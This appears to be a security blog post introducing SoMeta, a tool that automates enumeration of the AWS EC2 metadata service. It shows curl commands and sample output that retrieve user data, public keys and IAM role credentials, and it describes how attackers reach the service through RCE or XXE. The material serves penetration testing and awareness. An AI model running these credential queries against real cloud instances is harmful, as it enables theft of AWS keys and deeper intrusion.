Automating Enumeration of AWS EC2 Metadata Service

SoMeta (https://gist.github.com/TweekFawkes/9da5ccb9257420aa134887b4afa19b87) Automates Enumeration of the AWS EC2 Metadata Service so you can spend more time doing what you love rather than recursively curl-ing REST APIs by hand.

EC2 instances running within AWS can query a metadata service which contains data about the instance that can be used to configure and/or manage the running instance. For example, if an admin runs the following command from an instance within AWS, it will return back the instances current ami-id:

$ curl http://169.254.169.254/latest/meta-data/ami-id
ami-0a00ce72

This feature can also be (ab)used by attackers to gain more information about a target within AWS once an attacker has found an initial vulnerability which enables them to make a HTTP request from the instance to the metadata service listening on TCP port 80 and accessible via the local IP address of 169.254.169.254.

When an attacker can gain Remote Code Execution (RCE) on an instance or leverage specific web application vulnerabilities, they may be able to query the metadata service. XML External Entity (XXE) vulnerabilities within web applications often provide a solid access vector to remotely access the metadata service from the Internet.

Once an attacker can query the metadata service, one of the most useful data to obtain is the user data associated with the instance. User data is specified when an instance is created and is run when an instance is first launched (e.g. boot strap script for instances). For example:

$ curl http://169.254.169.254/latest/user-data
echo "boot strap script”
... REDACTED ...

Another useful piece of data to obtain is if any IAM roles are currently associated with the instance, granting the instance additional permissions within AWS. For example:

$ curl http://169.254.169.254/latest/meta-data/
...
iam
...

$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
{
  "Code" : "Success",
...
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "...REDACTED...",
  "SecretAccessKey" : "...REDACTED...",
  "Token" : "...REDACTED...",
...
}

Other useful queries include…

- Get Internet Facing Hostname:

$curl http://169.254.169.254/latest/meta-data/public-hostname
ec2-35-164-122-166.us-west-2.compute.amazonaws.com

- Get Internal Hostname:

$ curl http://169.254.169.254/latest/meta-data/local-hostname
ip-172-31-37-143.us-west-2.compute.internal

- Get Public Key Name:

$ curl http://169.254.169.254/latest/meta-data/public-keys/
0=20170223-aws-oregon-jump

- Get information about Public Key #0:

$ curl http://169.254.169.254/latest/meta-data/public-keys/0/
openssh-key

- Get Public Key #0:

$ curl http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaUY8KqR+
...
/UZXyAdFQOfn 20170223-aws-oregon-jump

The more roles and keys assigned to an instance, the longer it will take to manually collect this data, hence....

Introducing...

“SoMeta”!

A new tool to Automate Enumeration of AWS EC2 Metadata Service

This script automates the collection of secrets within user data, roles, and public keys. You can do this all by hand via curl from most instances but this can also be tedious in more complex AWS environments hence many attackers skip these steps.

$ python soMeta.py


 _____      ___  ___     _
/  ___|     |  \/  |    | |
\ `--.  ___ | .  . | ___| |_ __ _
 `--. \/ _ \| |\/| |/ _ \ __/ _` |
/\__/ / (_) | |  | |  __/ || (_| |
\____/ \___/\_|  |_/\___|\__\__,_|



Alpha v0.0.3

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
Instance ID
[+] URL: http://169.254.169.254/latest/meta-data/ami-id
[+] Content: ami-0a00ce72
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
Internet Facing Hostname
[+] URL: http://169.254.169.254/latest/meta-data/public-hostname
[+] Content: ec2-35-164-122-166.us-west-2.compute.amazonaws.com
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
Internal Hostname
[+] URL: http://169.254.169.254/latest/meta-data/local-hostname
[+] Content: ip-172-31-37-143.us-west-2.compute.internal
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
User Data (e.g. boot strap scripts)
[+] URL: http://169.254.169.254/latest/user-data
[+] Content: echo "boot strap script” ...REDACTED...
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
IAM roles associated with the instance
[+] URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/instance_meta_check
[+] Content: {
  "Code" : "Success",
  "LastUpdated" : "2017-11-13T23:47:35Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASI...REDACTED...ERQ",
  "SecretAccessKey" : "D5g...REDACTED...EW1",
  "Token" : "FQo...REDACTED...0AU=",
  "Expiration" : "2017-11-14T05:56:56Z"
}
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
Public Keys
[+] URL: http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
[+] Content: ssh-rsa AAA...REDACTED...Ofn 20170223-aws-oregon-jump

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---

Also, SoMeta does not rely on curl being installed on the endpoint which may be a plus in more hardened environments and/or container centric environments.

Tool: https://gist.github.com/TweekFawkes/9da5ccb9257420aa134887b4afa19b87

References:

- Instance Metadata and User Data

http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html

- Instance Metadata Categories

http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

Bryce KunzComment